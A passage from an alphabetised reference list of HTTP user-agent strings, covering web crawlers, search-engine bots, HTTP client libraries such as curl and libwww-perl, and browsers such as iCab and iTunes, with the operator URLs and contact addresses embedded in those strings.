(http://www.boitho.com/dcbot.html)\nboitho.com-robot/1.0\nboitho.com-robot/1.1\nboitho.com-robot/1.x\nboitho.com-robot/1.x (http://www.boitho.com/bot.html)\nbtbot/0.4 (+http://www.btbot.com/btbot.html)\nbumblebee@relevare.com\nbwh3_user_agent\ncURL: curl/7.13.1 (powerpc-apple-darwin8.0) libcurl/7.13.1 OpenSSL/0.9.7b zlib/1.2.2\ncarleson/1.0\nccubee/x.x\ncfetch/1.0\ncg-eye interactive\ncollage.cgi/1.xx\ncombine/0.0\ncometrics-bot, http://www.cometrics.de\ncomplex_network_group/Nutch-0.9-dev (discovering the structure of the world-wide-web; http://cantor.ee.ucla.edu/~networks/crawl; nimakhaj@gmail.com)\ncontype\ncosmos/0.8_(robot@xyleme.com)\ncosmos/0.9_(robot@xyleme.com)\ncrawler@alexa.com\ncsci_b659/0.13\ncurl/7.10.6 (i386-redhat-linux-gnu) libcurl/7.10.6 OpenSSL/0.9.7a ipv6 zlib/1.1.4\ncurl/7.10.x (i386-redhat-linux-gnu) libcurl/7.10.x OpenSSL/0.9.7a ipv6 zlib/1.1.4\ncurl/7.11.1 (i386-redhat-linux-gnu) libcurl/7.11.1 OpenSSL/0.9.7a ipv6 zlib/1.2.1.2\ncurl/7.11.1 (i686-redhat-linux-gnu) libcurl/7.11.1 OpenSSL/0.9.7a ipv6 zlib/1.2.1.2\ncurl/7.12.1 (i686-redhat-linux-gnu) libcurl/7.12.1 OpenSSL/0.9.7a zlib/1.2.1.2 libidn/0.5.6\ncurl/7.13.1 (powerpc-apple-darwin8.0) libcurl/7.13.1 OpenSSL/0.9.7l zlib/1.2.3\ncurl/7.13.2 (i386-pc-linux-gnu) libcurl/7.13.2 OpenSSL/0.9.7e zlib/1.2.2 libidn/0.5.13\ncurl/7.14.0 (i386-portbld-freebsd5.4) libcurl/7.14.0 OpenSSL/0.9.7e zlib/1.2.1\ncurl/7.15.0 (i386-portbld-freebsd5.4) libcurl/7.15.0 OpenSSL/0.9.7e zlib/1.2.1\ncurl/7.15.1 (i486-pc-linux-gnu) libcurl/7.15.1 OpenSSL/0.9.8a zlib/1.2.3 libidn/0.5.18\ncurl/7.15.1 (x86_64-suse-linux) libcurl/7.15.1 OpenSSL/0.9.8a zlib/1.2.3 libidn/0.6.0\ncurl/7.15.3 (sparc64--netbsd) libcurl/7.15.3 OpenSSL/0.9.7d zlib/1.1.4 libidn/0.6.3\ncurl/7.15.4 (i686-pc-linux-gnu) libcurl/7.15.4 OpenSSL/0.9.7e zlib/1.2.3\ncurl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5\ncurl/7.16.1 (i386-pc-win32) libcurl/7.16.1 OpenSSL/0.9.8h zlib/1.2.3\ncurl/7.16.2 (x86_64-redhat-linux-gnu) libcurl/7.16.2 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.8\ncurl/7.16.3 (powerpc-apple-darwin8.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3\ncurl/7.16.4 (i486-pc-linux-gnu) libcurl/7.16.4 OpenSSL/0.9.8e zlib/1.2.3.3 libidn/1.0\ncurl/7.17.1 (x86_64-pc-linux-gnu) libcurl/7.17.1 OpenSSL/0.9.8g zlib/1.2.3\ncurl/7.18.0 (x86_64-pc-linux-gnu) libcurl/7.18.0 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.1\ncurl/7.18.1 (i686-suse-linux-gnu) libcurl/7.18.1 OpenSSL/0.9.8g zlib/1.2.3 libidn/1.8\ncurl/7.18.2 (x86_64-pc-linux-gnu) libcurl/7.18.2 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.8 libssh2/0.18\ncurl/7.19.0 (x86_64-suse-linux-gnu) libcurl/7.19.0 OpenSSL/0.9.8h zlib/1.2.3 libidn/1.10\ncurl/7.19.2 (i386-pc-win32) libcurl/7.19.2 OpenSSL/0.9.8c zlib/1.2.3\ncurl/7.19.2 (i386-pc-win32) libcurl/7.19.2 OpenSSL/0.9.8i zlib/1.2.3 libidn/1.11 libssh2/0.18\ncurl/7.19.4 (i686-pc-cygwin) libcurl/7.19.4 OpenSSL/0.9.8k zlib/1.2.3 libidn/1.9 libssh2/1.0\ncurl/7.19.4 (universal-apple-darwin10.0) libcurl/7.19.4 OpenSSL/0.9.8k zlib/1.2.3\ncurl/7.19.5 (i486-pc-linux-gnu) libcurl/7.19.5 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.15\ncurl/7.19.5 (i586-pc-mingw32msvc) libcurl/7.19.5 zlib/1.2.3\ncurl/7.19.6 (i386-pc-win32) libcurl/7.19.6 OpenSSL/0.9.8k zlib/1.2.3\ncurl/7.19.6 (i386-redhat-linux-gnu) libcurl/7.19.6 NSS/3.12.4.5 zlib/1.2.3 libidn/1.9 libssh2/1.2\ncurl/7.19.6 (i686-pc-cygwin) libcurl/7.19.6 OpenSSL/0.9.8n zlib/1.2.3 libidn/1.18 libssh2/1.2\ncurl/7.19.7 (i386-apple-darwin9.8.0) libcurl/7.19.7 zlib/1.2.3\ncurl/7.19.7 (i386-redhat-linux-gnu) libcurl/7.19.7 NSS/3.12.5.0 zlib/1.2.3 libidn/1.9 libssh2/1.2.2\ncurl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15\ncurl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8o zlib/1.2.3.3 libidn/1.15\ncurl/7.19.7 (universal-apple-darwin10.0) libcurl/7.19.7 OpenSSL/0.9.8l zlib/1.2.3\ncurl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.35.0 OpenSSL/1.0.1e zlib/1.2.3 libidn/1.18 libssh2/1.4.3\ncurl/7.20.0 (i386-apple-darwin9.8.0) libcurl/7.20.0 OpenSSL/0.9.8m zlib/1.2.3 libidn/1.16\ncurl/7.20.0 (i686-pc-linux-gnu) libcurl/7.20.0 OpenSSL/0.9.8n zlib/1.2.4\ncurl/7.21.0 (i486-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.18 libssh2/1.2.6\ncurl/7.21.0 (i686-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.18\ncurl/7.21.0 (x86_64-apple-darwin10.2.0) libcurl/7.21.0 OpenSSL/1.0.0a zlib/1.2.5 libidn/1.19\ncurl/7.21.0 (x86_64-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.15 libssh2/1.2.5\ncurl/7.21.0 (x86_64-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.18\ncurl/7.21.0 (x86_64-pc-linux-gnu) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3.4 libidn/1.18 libssh2/1.2.5\ncurl/7.21.1 (i686-pc-linux-gnu) libcurl/7.21.1 OpenSSL/1.0.0a zlib/1.2.5\ncurl/7.21.2 (i386-pc-win32) libcurl/7.21.2 OpenSSL/0.9.8o zlib/1.2.5\ncurl/7.21.3 (x86_64-redhat-linux-gnu) libcurl/7.21.3 NSS/3.13.1.0 zlib/1.2.5 libidn/1.19 libssh2/1.2.7\ncurl/7.21.3 (x86_64-unknown-linux-gnu) libcurl/7.21.3 OpenSSL/1.0.0c zlib/1.2.5\ncurl/7.21.4 (universal-apple-darwin11.0) libcurl/7.21.4 OpenSSL/0.9.8r zlib/1.2.5\ncurl/7.7.2 (powerpc-apple-darwin6.0) libcurl 7.7.2 (OpenSSL 0.9.6b)\ncurl/7.7.x (i386--freebsd4.3) libcurl 7.7.x (SSL 0.9.6) (ipv6 enabled)\ncurl/7.8 (i386-redhat-linux-gnu) libcurl 7.8 (OpenSSL 0.9.6b) (ipv6 enabled)\ncurl/7.8 (i686-pc-linux-gnu) libcurl 7.8 (OpenSSL 0.9.6)\ncurl/7.9.8 (i686-pc-linux-gnu) libcurl 7.9.8 (OpenSSL 0.9.6b) (ipv6 enabled)\ncurl/7.9.x (win32) libcurl 7.9.x\ndCSbot/1.1\ndaypopbot/0.x\ndbDig(http://www.prairielandconsulting.com)\ndds explorer v1.0 beta\nde.searchengine.comBot 1.2 (http://de.searchengine.com/spider)\ndeepak-USC/ISI\ndel.icio.us-thumbnails/1.0 Mozilla/5.0 (compatible; Konqueror/3.4; FreeBSD) KHTML/3.4.2 (like Gecko)\ndev-spider2.searchpsider.com/1.3b\ndisastrous/1.0.5 (running with Python 2.5.1; http://www.bortzmeyer.org/disastrous.html; archangel77@del.icio.us)\ndisco/Nutch-0.9 (experimental crawler; www.discoveryengine.com; disco-crawl@discoveryengine.com)\ndisco/Nutch-1.0-dev (experimental crawler; www.discoveryengine.com; disco-crawl@discoveryengine.com)\ndlman\ndloader(NaverRobot)/1.0\ndodgebot/experimental\ndtSearchSpider\ne-SocietyRobot(http://www.yama.info.waseda.ac.jp/~yamana/es/)\ne-sense 1.0 ea(www.vigiltech.com/esensedisclaim.html)\neApolloBot/2.0 (compatible; heritrix/2.0.0-SNAPSHOT-20071024.170148 +http://www.eapollo-opto.com)\neCatch/3.0\neStyleSearch 4 (compatible; MSIE 6.0; Windows NT 5.0)\negothor/3.0a (+http://www.xdefine.org/robot.html)\nejupiter.com\nelfbot/1.0 (+http://www.uchoose.de/crawler/elfbot/)\nendo/1.0 (Mac OS X; ppc i386; http://kula.jp/endo)\nenvolk/1.7 (+http://www.envolk.com/envolkspiderinfo.php)\nenvolk[ITS]spider/1.6 ( http://www.envolk.com/envolkspider.html)\nenvolk[ITS]spider/1.6 (+http://www.envolk.com/envolkspider.html)\nenvolk[ITS]spider/1.6(+http://www.envolk.com/envolkspider.html)\neseek-larbin_2.6.2 (crawler@exactseek.com)\neventax/1.3 (eventax; http://www.eventax.de/; info@eventax.de)\neveryfeed-spider/2.0 (http://www.everyfeed.com)\nexactseek-crawler-2.63 (crawler@exactseek.com)\nexactseek-pagereaper-2.63 (crawler@exactseek.com)\nexactseek.com\nexooba crawler/exooba crawler (crawler for exooba.com; http://www.exooba.com/; info at exooba dot com)\nexooba/exooba crawler (exooba; exooba)\nfacebookexternalhit/1.1\nfacebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)\nfacebookscraper/1.0( http://www.facebook.com/sharescraper_help.php)\nfactbot : http://www.factbites.com/robots\nfastbot crawler beta 2.0 (+http://www.fastbot.de)\nfavo.eu crawler/0.6 (http://www.favo.eu)\nfetch libfetch/2.0\nfileboost.net/1.0 (+http://www.fileboost.net)\nfindlinks/1.0 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.0.8 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.0.9 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.06 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.1 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.1-a3 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.1-a4 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.1-a5 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.1-a7 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.1-a8 ( http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.1-a8 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.1-a9 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.1.1 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.1.1-a1 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.1.1-a5 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.1.2-a5 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.1.3-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.1.3-beta2 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.1.3-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.1.3-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.1.3-beta8 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.1.3-beta9 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.1.4-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)\nfindlinks/x.xxx (+http://wortschatz.uni-leipzig.de/findlinks/)\nfirstsbot\nflunky\nfly/6.01 libwww/4.0D\nflyindex.net 1.0/http://www.flyindex.net\nfree-downloads.net download-link validator /0.1\ng2Crawler nobody@airmail.net\ngamekitbot/1.0 (+http://www.uchoose.de/crawler/gamekitbot/)\ngazz/x.x (gazz@nttrd.com)\ngeckobot\ngeneric_crawler/01.0217/\ngenieBot ((http://64.5.245.11/faq/faq.html))\ngenieBot (http://64.5.245.11/faq/faq.html)\ngeniebot wgao@genieknows.com\ngeourl/2.0b2\ngigabaz/3.1x (baz@gigabaz.com; http://gigabaz.com/gigabaz/)\ngonzo1[P] +http://www.suchen.de/popups/faq.jsp\ngonzo2[P] +http://www.suchen.de/faq.html\ngooglebot (larbin2.6.0@unspecified.mail)\ngreat-plains-web-spider/flatlandbot (Flatland Industries Web Spider; http://www.flatlandindustries.com/flatlandbot.php; jason@flatlandindustries.com)\ngridwell (http://search.gridwell.com)\ngrub crawler(http://www.grub.org)\ngrub-client\ngrub-client-1.5.3; (grub-client-1.5.3; Crawl your own stuff with http://grub.org)\ngsa-crawler (Enterprise; GID-01422; jplastiras@google.com)\ngsa-crawler (Enterprise; GID-01742;gsatesting@rediffmail.com)\ngsa-crawler (Enterprise; GIX-02057; dm@enhesa.com)\ngsa-crawler (Enterprise; GIX-03519; cknuetter@stubhub.com)\ngsa-crawler (Enterprise; GIX-0xxxx; enterprise-training@google.com)\nhbtronix.spider.2 -- http://hbtronix.de/spider.php\nhgrepurl/1.0\nhl_ftien_spider\nhl_ftien_spider_v1.1\nholmes/3.11 (http://morfeo.centrum.cz/bot)\nholmes/3.12.1 (http://morfeo.centrum.cz/bot)\nholmes/3.12.2 (http://morfeo.centrum.cz/bot)\nholmes/3.12.3 (http://morfeo.centrum.cz/bot)\nholmes/3.12.4 (http://morfeo.centrum.cz/bot)\nholmes/3.9 (onet.pl)\nholmes/3.9 (someurl.co.cc)\nholmes/3.xx (OnetSzukaj/5.0; +http://szukaj.onet.pl)\nholmes/x.x\nhtdig/3.1.5\nhtdig/3.1.5 (infosys@storm.rmi.org)\nhtdig/3.1.5 (root@localhost)\nhtdig/3.1.5 (webmaster@online-medien.de)\nhtdig/3.1.6 (http://computerorgs.com)\nhtdig/3.1.6 (mathieu.peltier@inrialpes.fr)\nhtdig/3.1.6 (unconfigured@htdig.searchengine.maintainer)\nhtdig/3.1.x (root@localhost)\nhttp://Anonymouse.org/ (Unix)\nhttp://Ask.24x.Info/ (http://narres.it/)\nhttp://OzySoftware.com/Index.html\nhttp://hilfe.acont.de/bot.html ACONTBOT\nhttp://www.almaden.ibm.com/cs/crawler\nhttp://www.almaden.ibm.com/cs/crawler   [wf84]\nhttp://www.almaden.ibm.com/cs/crawler [rc1.wf.ibm.com]\nhttp://www.almaden.ibm.com/cs/crawler [wf216]\nhttp://www.ip2location.com\nhttp://www.istarthere.com_spider@istarthere.com\nhttp://www.mabontland.com\nhttp://www.monogol.de\nhttp://www.timelyweb.com/\nhttp://www.trendtech.dk/spider.asp)\nhttpunit/1.5\nhttpunit/1.x\ni1searchbot/2.0 (i1search web crawler; http://www.i1search.com; crawler@i1search.com)\niCCrawler (http://www.iccenter.net)\niCCrawler (http://www.iccenter.net/bot.htm)\niCab/2.5.2 (Macintosh; I; PPC)\niCab/2.9.1 (Macintosh; U; PPC)\niCab/2.9.5 (Macintosh; U; PPC; Mac OS X)\niCab/2.9.7 (Macintosh; U; PPC)\niCab/2.9.8 (Macintosh; U; 68K)\niCab/2.9.9 (Macintosh; U; 68K)\niCab/3.0.2 (Macintosh; U; PPC Mac OS X)\niCab/3.0.2 (Macintosh; U; PPC Mac OS)\niCab/3.0.5 (Macintosh; U; PPC Mac OS X)\niCab/3.0.5 (Macintosh; U; PPC Mac OS)\niCab/4.0  (Windows; U; Windows NT 6.0; en-gb)\niCab/4.0 (Macintosh; U; Intel Mac OS X)\niCab/4.5 (Macintosh; U; Intel Mac OS X)\niCab/4.5 (Macintosh; U; Mac OS X Leopard 10.5.7)\niCab/4.5 (Macintosh; U; Mac OS X Leopard 10.5.8)\niCab/4.5 (Macintosh; U; PPC Mac OS X)\niCab/4.6 (Macintosh; U; Mac OS X Leopard 10.5.7)\niCab/4.7 (Macintosh; U; Intel Mac OS X)\niCab/4.7 (Macintosh; U; PPC Mac OS X)\niCab/5.0 (Macintosh; U; PPC Mac OS X)\niFeed.jp/2.0 (www.psychedelix.com/agents/agents.rss; 0 subscribers)\niGetter/1.x (Macintosh;G;PPC)\niGetter/2 (Macintosh; U; PPC Mac OS X; en)\niSiloX/4.xx Windows/32\niTunes/4.0 (Macintosh; U; PPC Mac OS X 10.2)\niTunes/4.2 (Macintosh; U; PPC Mac OS X 10.2)\niTunes/4.7 (Macintosh; N; PPC)\niTunes/4.7 (Macintosh; U; PPC Mac OS X 10.2)\niTunes/4.8 (Macintosh; U; PPC Mac OS X 10.4.1)\niTunes/7.0 (Macintosh; U; PPC Mac OS X 10.4.7)\niTunes/7.0.1 (Windows; N)\niTunes/7.1.1 (Macintosh; N; PPC)\niTunes/7.4.1\niTunes/7.5 (Macintosh; N; PPC)\niTunes/7.6.2.9\niTunes/8.0\niTunes/8.1\niTunes/8.1.1 (Windows; N)\niTunes/8.1.1 (Windows; U)\niTunes/8.2 (Macintosh; U; PPC Mac OS X 10_5_6)\niTunes/9.0\niTunes/9.0 (Macintosh; Intel Mac OS X 10.5.8)\niTunes/9.0 (Macintosh; Intel Mac OS X 10.5.8) AppleWebKit/531.9\niTunes/9.0.2 (Windows; N)\niTunes/9.0.3\niTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)\niTunes/9.1.1\niTunes/x.x.x\niVia Page Fetcher (http://ivia.ucr.edu/useragents.shtml)\niVia/4.0 CanonizeUrl (http://infomine.ucr.edu/iVia/useragents.shtml\nia_archiver\nia_archiver-web.archive.org\nia_archiver/1.6\nia_archiver/8.0 (Windows 2.4; en-US;)\nia_archiver/8.1 (Windows 2000 1.9; en-US;)\nia_archiver/8.2 (Windows 7.6; en-US;)\nia_archiver/8.8 (Windows XP 3.0; en-US;)\nia_archiver/8.8 (Windows XP 7.2; en-US;)\nia_archiver/8.9 (Linux 1.0; en-US;)\nia_archiver/8.9 (Windows 3.9; en-US;)\nia_archiver/8.9 (Windows NT 3.1; en-US;)\niaskspider\niaskspider/2.0(+http://iask.com/help/help_index.html)\niaskspider2 (iask@staff.sina.com.cn)\nichiro\nichiro/2.0 (http://help.goo.ne.jp/door/crawler.html)\nichiro/2.0 (ichiro@nttr.co.jp)\nichiro/2.0+(http://help.goo.ne.jp/door/crawler.html)\nichiro/3.0 (http://help.goo.ne.jp/door/crawler.html)\nichiro/4.0 (http://help.goo.ne.jp/door/crawler.html)\nichiro/x.0 (http://help.goo.ne.jp/door/crawler.html)\nichiro/x.0 (ichiro@nttr.co.jp)\nicsbot-0.1\nideare - SignSite/1.x\niearthworm/1.0, iearthworm@yahoo.com.cn\nigdeSpyder (compatible; igde.ru; +http://igde.ru/doc/tech.html)\nilial/Nutch-0.9 (Ilial, Inc. is a Los Angeles based Internet startup company. For more information please visit http://www.ilial.com/crawler; http://www.ilial.com/crawler; crawl@ilial.com)\nilial/Nutch-0.9-dev\niltrovatore-setaccio/1.2-dev (spidering; http://www.iltrovatore.it/aiuto/.....)\ninfo@pubblisito.com- (http://www.pubblisito.com) il Sud dei Motori di Ricerca\ninfoConveraCrawler/0.8 ( http://www.authoritativeweb.com/crawl)\nintegrity/1.6\nintraVnews/1.x\nisurf (tszhu@canada.com)\nitunes/9.0.2 (Macintosh; Intel Mac OS X 10.4.11) AppleWebKit/531.21.8\njBrowser/J2ME Profile/MIDP-1.0 Configuration/CLDC-1.0 (Google WAP Proxy/1.0)\nk2spider\nkalooga/KaloogaBot (Kalooga; http://www.kalooga.com/info.html?page=crawler; crawler@kalooga.com)\nkalooga/kalooga-4.0-dev-datahouse (Kalooga; http://www.kalooga.com; info@kalooga.com)\nkinja-imagebot (http://www.kinja.com/)\nkinjabot (http://www.kinja.com)\nkuloko-bot/0.x\nkulokobot www.kuloko.com kuloko@backweave.com\nkulturarw3/0.1\nlanshanbot/1.0\nlanshanbot/1.0 (+http://search.msn.com/msnbot.htm)\nlarbin (samualt9@bigfoot.com)\nlarbin_2.1.1 larbin2.1.1@somewhere.com\nlarbin_2.2.0 (crawl@compete.com)\nlarbin_2.2.1_de_Viennot (Laurent.Viennot@inria.fr)\nlarbin_2.2.2 (sugayama@lab7.kuis.kyoto-u.ac.jp)\nlarbin_2.2.2_guillaume (guillaume@liafa.jussieu.fr)\nlarbin_2.5.0 (larbin2.5.0@unspecified.mail)\nlarbin_2.6.0 (larbin2.6.0@unspecified.mail)\nlarbin_2.6.1 (larbin2.6.1@unspecified.mail)\nlarbin_2.6.1 larbin2.6.1@unspecified.mail\nlarbin_2.6.2 (hamasaki@grad.nii.ac.jp)\nlarbin_2.6.2 (larbin2.6.2@unspecified.mail)\nlarbin_2.6.2 (larbin@correa.org)\nlarbin_2.6.2 (listonATccDOTgatechDOTedu)\nlarbin_2.6.2 (pierre@micro-fun.ch)\nlarbin_2.6.2 (pimenas@systems.tuc.gr)\nlarbin_2.6.2 (tom@lemurconsulting.com)\nlarbin_2.6.2 (vitalbox1@hotmail.com)\nlarbin_2.6.2 dthunen@princeton.edu\nlarbin_2.6.2 kalou@kalou.net\nlarbin_2.6.2 larbin2.6.2@unspecified.mail\nlarbin_2.6.2 larbin@correa.org\nlarbin_2.6.2 listonATccDOTgatechDOTedu\nlarbin_2.6.2 pierre@micro-fun.ch\nlarbin_2.6.2 vitalbox1@hotmail.com\nlarbin_2.6.3 (larbin2.6.3@unspecified.mail)\nlarbin_2.6.3 (larbin@behner.org)\nlarbin_2.6.3 (ltaa_web_crawler@groupes.epfl.ch)\nlarbin_2.6.3 (wgao@genieknows.com)\nlarbin_2.6.3 capveg@cs.umd.edu\nlarbin_2.6.3 ghary@sohu.com\nlarbin_2.6.3 gqnmgsp@ruc.edu.cn\nlarbin_2.6.3 larbin2.6.3@unspecified.mail\nlarbin_2.6.3 ltaa_web_crawler@groupes.epfl.ch\nlarbin_2.6.3 tangyi858@163.com\nlarbin_2.6.3 zumesun@hotmail.com\nlarbin_2.6.3_for_(http://cosco.hiit.fi/search/) tsilande@hiit.fi\nlarbin_2.6_basileocaml (basile.starynkevitch@cea.fr)\nlarbin_devel (http://pauillac.inria.fr/~ailleret/prog/larbin/)\nlarbin_test (nobody@airmail.etn)\nlarbin_test nobody@airmail.etn\nlarbin_xy250 larbin2.6.3@unspecified.mail\nlawinfo-crawler/Nutch-0.9-dev (Crawler for lawinfo.com pages; http://www.lawinfo.com; webmaster@lawinfo.com)\nlc/$ROADS::Version libwww-perl/5.00\nlcabotAccept: */*\nldspider (http://code.google.com/p/ldspider/wiki/Robots)\nlftp/4.3.5\nlftp/4.3.8\nlibWeb/clsHTTP -- hiongun@kt.co.kr\nlibcurl-agent/1.0\nlibwww-perl/5.36\nlibwww-perl/5.41\nlibwww-perl/5.45\nlibwww-perl/5.48\nlibwww-perl/5.50\nlibwww-perl/5.52 FP/2.1\nlibwww-perl/5.52 FP/4.0\nlibwww-perl/5.53\nlibwww-perl/5.63\nlibwww-perl/5.64\nlibwww-perl/5.65\nlibwww-perl/5.69\nlibwww-perl/5.75\nlibwww-perl/5.76\nlibwww-perl/5.800\nlibwww-perl/5.800 (+http://passoire.afraid.org/mylittlewebsurvey/index.html)\nlibwww-perl/5.803\nlibwww-perl/5.805\nlibwww-perl/5.808\nlibwww-perl/5.814\nlibwww-perl/5.816\nlibwww-perl/5.820\nlibwww-perl/5.821\nlibwww/5.3.2\nlink_check3.plx libwww-perl/5.65\nlinkbot\nlinknzbot\nlmspider (lmspider@scansoft.com)\nlmspider lmspider@scansoft.com\nluchs.at URL checker\nlwp-trivial/1.32\nlwp-trivial/1.33\nlwp-trivial/1.34\nlwp-trivial/1.35\nlwp-trivial/1.36\nlwp-trivial/1.38\nlwp-trivial/1.41\nmagpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)\nmailto:webcraft@bea.com\nmammoth/1.0 ( http://www.sli-systems.com/)\nmaxomobot/dev-20051201 (maxomo; http://67.102.134.34:4047/MAXOMO/MAXOMObot.html; maxomobot@maxomo.com)\nmetatagsdir/0.7 (+http://metatagsdir.com/directory/)\nminiRank/1.6 (Website ranking; www.minirank.com; robot)\nminibot\nmoget/x.x (moget@goo.ne.jp)\nmogimogi/1.0\nmoiNAG 0.02\nmonkeyagent\nmore information\nmozDex/0.xx-dev (mozDex; http://www.mozdex.com/en/bot.html; spider@mozdex.com)\nmozilla/3.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/5.0.1\nmozilla/5.0 (compatible; genevabot http://www.healthdash.com)\nmozilla/5.0 (compatible; heritrix/1.0.4 http://innovationblog.com)\nmozilla/5.0 (compatible; heritrix/1.3.0 http://archive.crawler.org)\nmsnbot-Products/1.0 (+http://search.msn.com/msnbot.htm)\nmsnbot-media/1.0 (+http://search.msn.com/msnbot.htm)\nmsnbot-media/1.1 ( http://search.msn.com/msnbot.htm)\nmsnbot/0.11 ( http://search.msn.com/msnbot.htm)\nmsnbot/0.9 (+http://search.msn.com/msnbot.htm)\nmsnbot/1.0 ( http://search.msn.com/msnbot.htm)\nmsnbot/1.0 (+http://search.msn.com/msnbot.htm)\nmsnbot/1.1\nmsnbot/1.1 ( http://search.msn.com/msnbot.htm)\nmsnbot/1.1 (+http://search.msn.com/msnbot.htm)\nmsnbot/2.0b\nmsnbot/2.1\nmsnbot/x.xx ( http://search.msn.com/msnbot.htm)\nmultiBlocker browser\nmulticrawler ( http://sw.deri.org/2006/04/multicrawler/robots.html)\nmyDaemon\nmylinkcheck/1.02\nnabot_1.0\nnaoFavicon4IE/1.xx\nnewsearchengine (ThisUser@unspecified.mail)\nnicebot\nnook browser/1.0\nnoxtrumbot/1.0 (crawler@noxtrum.com)\nnoyona_0_1\nnsyght.com/Nutch-1.0-dev (nsyght.com; Nsyght.com)\nnsyght.com/Nutch-x.x (nsyght.com; search.nsyght.com)\nnttdirectory_robot/0.9 (super-robot@super.navi.ocn.ne.jp)\nnuSearch Spider (compatible; MSIE 4.01; Windows NT)\nnuSearch Spider <a href='http://www.nusearch.com'>www.nusearch.com</a> (compatible; MSIE 4.01)\nnutchsearch/Nutch-0.9 (Nutch Search 1.0; herceg_novi at yahoo dot com)\noBot ((compatible;Win32))\nobidos-bot (just looking for books.)\noegp v. 1.3.0\nomgilibot/0.3  http://www.omgili.com/Crawler.html\nomgilibot/0.3 +http://www.omgili.com/Crawler.html\nomgilibot/0.4 +http://omgili.com\nonCHECK Linkchecker von www.scientec.de fuer www.onsinn.de\nonCHECK-Robot, www.onsearch.de\nonline link validator (http://www.dead-links.com/)\nozelot/2.7.3 (Search engine indexer; www.flying-cat.de/ozelot; ozelot@flying-cat.de)\npage_verifier (http://www.securecomputing.com/goto/pv)\nparallelContextFocusCrawler1.1parallelContextFocusCrawler1.1\npavuk/0.9pl29b i686-pc-linux-gnu\npd02_1.0.0 pd02_1.0.0@dzimi@post.sk\npipeLiner/0.3a (PipeLine Spider;http://www.pipeline-search.com/webmaster.html; webmaster'at'pipeline-search.com)\npipeLiner/0.xx (PipeLine Spider; http://www.pipeline-search.com/webmaster.html)\nplease let me know\nplinki/0.1 (you got plinked! (thats a good thing..); http://www.plinki.com; crawl@plinki.com)\npolybot 1.0 (http://cis.poly.edu/polybot/)\nportalmmm/2.0 N410i(c20;TB)\nportalmmm/2.0 S500i(c20;TB)\npotbot 1.0\npsbot/0.1 (+http://www.picsearch.com/bot.html)\npsycheclone\npuf/0.91beta6a (Linux 2.2.18; i686)\npuf/0.93.2a (Linux 2.4.18; i686)\npulseBot (pulse Web Miner)\npxyscand/2.1\nrabaz (rabaz at gigabaz dot com)\nradian6_default_(www.radian6.com/crawler)\nramBot xtreme x.x\nreciprocal links checker (http://www.recip-links.com/)\nretawq/0.2.6c [en] (text)\nrico/0.1\nsait/Nutch-0.9 (SAIT Research; http://www.samsung.com)\nsavvybot/0.2\nschwarzmann.biz-Spider_for_paddel.org+(http://www.innerprise.net/usp-spider.asp)\nscooter-venus-3.0.vns\nscoutmaster\nsearch.ch V1.4\nsearch.ch V1.4.2 (spiderman@search.ch; http://www.search.ch)\nsearchbot admin@google.com\nsemaforo.net\nsemanticdiscovery/0.1\nsemanticdiscovery/0.x\nsilk/1.0\nsilk/1.0 (+http://www.slider.com/silk.htm)/3.7\nsitecheck.internetseer.com\nsitecheck.internetseer.com (For more info see: 